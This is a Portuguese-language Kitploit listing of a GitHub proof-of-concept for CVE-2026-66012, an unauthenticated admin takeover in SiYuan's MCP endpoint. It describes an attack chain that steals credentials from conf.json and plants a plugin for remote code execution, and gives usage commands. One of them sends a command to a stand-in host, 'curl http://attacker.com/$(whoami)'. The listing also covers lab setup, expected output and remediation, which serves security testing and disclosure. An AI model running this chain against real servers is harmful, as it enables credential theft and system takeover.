Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization — Exploit não autenticado de tomada de controle de administrador para CVE-2026-66012, usando autorização ausente do MCP para exfiltrar credenciais e obter execução remota de código. | Kitploit
Ferramentas/GitHubGitHub/hunt-benito/siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization
Autenticação e AutorizaçãoEscalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoRed TeamingDesenvolvimento de Payloads

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
GitHubhunt-benito/siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization

siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization

Exploit não autenticado de tomada de controle de administrador para CVE-2026-66012, usando autorização ausente do MCP para exfiltrar credenciais e obter execução remota de código.

Ver Repositório
113há 2 mesesAinda não revisado
Compartilhar

CVE-2026-66012 — Assunção de Administrador Não Autenticada no MCP do SiYuan

Prova de Conceito para CVE-2026-66012 (CVSS 10.0 Crítico), uma vulnerabilidade de autorização ausente no endpoint MCP (Model Context Protocol) do SiYuan que permite que um atacante não autenticado alcance a assunção de administrador e a execução remota de código quando o servidor Publish está habilitado em modo anônimo.

Resumo da Vulnerabilidade

CampoValor
CVECVE-2026-66012
CVSS 3.110.0 Crítico
CWECWE-862 — Autorização Ausente
AfetadoSiYuan < v3.7.2
Corrigidov3.7.2 (commit df51c2bda696)
Reportado porNguyen Van Hiep (@hypnguyen1209), MBBank

Causa Raiz

Três defeitos compõem a cadeia de ataque:

  1. POST /mcp é registrado apenas com model.CheckAuth — sem CheckAdminRole ou CheckReadonly. Qualquer JWT válido (incluindo com escopo de Leitor) pode invocar todas as 31 ferramentas MCP.
  2. O despachador de ferramentas (handler.go) chama as ferramentas sem inspecionar a função do chamador.
  3. O proxy reverso Publish injeta um JWT anônimo RoleReader em cada requisição quando Publish.Auth.Enable=false, convertendo a falha de autorização ausente em uma vulnerabilidade não autenticada.

Cadeia de Ataque

  1. Handshake MCP via POST /mcp na porta do Publish (sem credenciais)
  2. Ler conf/conf.json → extrair accessAuthCode, api.token, cookieKey
  3. Instalar um plugin em data/plugins/pwn/ → RCE na próxima inicialização do desktop via nodeIntegration:true
  4. Login de administrador na porta 6806 usando o accessAuthCode roubado

Pré-requisitos

  • Python 3.8+
  • Biblioteca requests (pip install requests)
  • Docker 20.10+ (apenas para a montagem do laboratório)

Uso

# Full exploit (credential exfil + plugin plant + admin escalation)
python3 exploit.py http://TARGET:6808

# Custom payload for the planted plugin
python3 exploit.py http://TARGET:6808 "curl http://attacker.com/$(whoami)"

# Credential exfiltration only (no plugin planting)
python3 exploit.py http://TARGET:6808 --no-plugin

Configuração do Laboratório

Somente para testes autorizados. Monte uma instância vulnerável localmente:

# Create workspace
LAB_ROOT=/tmp/siyuan-lab
rm -rf "$LAB_ROOT" && mkdir -p "$LAB_ROOT/workspace"
chmod 777 "$LAB_ROOT" "$LAB_ROOT/workspace"

# Start vulnerable SiYuan v3.7.1
docker run -d --name siyuan-lab \
  -p 127.0.0.1:6806:6806 -p 127.0.0.1:6808:6808 \
  -v "$LAB_ROOT/workspace":/siyuan/workspace \
  -e "SIYUAN_ACCESS_AUTH_CODE=labpass-9f4c1a" \
  -e "PUID=1000" -e "PGID=1000" \
  b3log/siyuan:v3.7.1 \
  serve --accessAuthCode=labpass-9f4c1a --lang=en_US

sleep 6

# Enable Publish server in anonymous mode
API_TOKEN=$(docker exec siyuan-lab sh -c \
  'sed -n "s/.*\"token\": *\"\([^\"]*\)\".*/\1/p" /siyuan/workspace/conf/conf.json | head -1')

curl -sS -X POST http://127.0.0.1:6806/api/setting/setPublish \
  -H "Authorization: Token $API_TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"enable":true,"port":6808,"auth":{"enable":false,"accounts":[]}}'

# Run the exploit
python3 exploit.py http://127.0.0.1:6808 "id"

Saída Esperada

=================================================================
CVE-2026-66012 — SiYuan MCP Admin Takeover
Target: http://127.0.0.1:6808
=================================================================

[*] Starting MCP handshake...
[+] Session established: 1atnx3vlzoccx89n

[*] Reading conf/conf.json via MCP file tool...
[+] Exfiltrated credentials:
    accessAuthCode: labpass-9f4c1a
    cookieKey: zhia862a5vfvraau
    api_token: nsnt2m0n4lwv2a43

[*] Planting plugin with payload: id
[+] Plugin planted at data/plugins/pwn/
    Payload executes on next desktop launch

[*] Attempting admin login at http://127.0.0.1:6806...
[+] Administrator session established
    Token: lqfhx...

=================================================================
Exploit complete.
Plugin will execute 'id' on next desktop launch.
For authorized testing only.
=================================================================

Remediação

Atualize para SiYuan v3.7.2 ou posterior. A correção (commit df51c2bda696) aplica:

  1. Middleware CheckAdminRole + CheckReadonly na rota /mcp
  2. Bloqueio explícito do acesso a conf/conf.json na ferramenta de arquivos
  3. Lista de permissões de caminhos no proxy Publish (caminhos de administrador retornam 401 para usuários anônimos)

Referências

  • GHSA-cvhv-7xhj-xjp8
  • NVD CVE-2026-66012
  • Commit da correção df51c2bd
  • Advisory da VulnCheck

Aviso Legal

Este PoC é destinado exclusivamente a testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão explícita de teste é ilegal. Os autores não são responsáveis por qualquer uso indevido deste código.

Baixar ferramenta